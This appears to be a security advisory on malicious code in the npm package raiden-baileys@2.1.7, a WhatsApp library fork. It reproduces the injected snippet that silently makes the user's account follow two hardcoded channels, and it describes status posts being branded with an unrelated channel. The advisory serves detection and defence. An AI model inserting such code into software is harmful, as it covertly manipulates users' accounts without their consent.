raiden-baileys@2.1.7
Malicious code in raiden-baileys (npm)
Analysis
raiden-baileys@2.1.7 is a WhatsApp socket library (a modified fork of Baileys) that carries injected code enrolling the authenticated account into third-party WhatsApp channels without the operator's knowledge. 1) lib/Socket/newsletter.js — inside makeNewsletterSocket(), next to the legitimately exported newsletter helpers, a bare statement runs a 120000 ms timer as soon as the socket is constructed: setTimeout(async () => { const channelIds = [ "120363407277177688@newsletter", "120363407702752541@newsletter" ]; for (const channelId of channelIds) { try { await newsletterWMexQuery(channelId, QueryIds.FOLLOW); } catch (e) {} } }, 120000); Each iteration issues its own GraphQL/w:mex FOLLOW mutation (query id 7871414976211147) addressed to the hardcoded channel. There is no configuration, option or caller-visible path that disables it, errors are swallowed, and the delay keeps the subscribe well after the socket handshake so it is not obvious during startup logging. Every WhatsApp session that loads this library silently follows those two channels from the user's own account. 2) lib/Socket/clutch-handler.js — the status/story send path hardcodes forwardedNewsletterMessageInfo defaults, so status posts are emitted as forwards attributed to an unrelated channel: newsletterJid "120363411769951302@newsletter" with newsletterName "alip shop #information". The user never chose that channel; outgoing messages carry third-party promotional branding. The package's only install hook (engine-requirements.js) merely checks the Node.js major version, so the account manipulation happens on library use rather than at install time. Channel JIDs observed: 120363407277177688@newsletter, 120363407702752541@newsletter (auto-followed) and 120363411769951302@newsletter (injected as the forwarded-channel attribution on status posts).
- analyzed by
- Leitwacht
- first seen
- Nov 2, 2026, 02:35 AM
- analyzed
- Nov 2, 2026, 02:37 AM
- weekly installs
- 2,328
Related advisories
- raiden-baileys@2.2.7 same package
- raiden-baileys@2.2.6 same package
- raiden-baileys@2.2.5 same package
- raiden-baileys@2.2.4 same package
- sauruspro-bail@5.0.0
- insta-api-wrapper@1.1.0
- app-kst-engine@2.1.6
- stellarfixer@1.0.0
Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.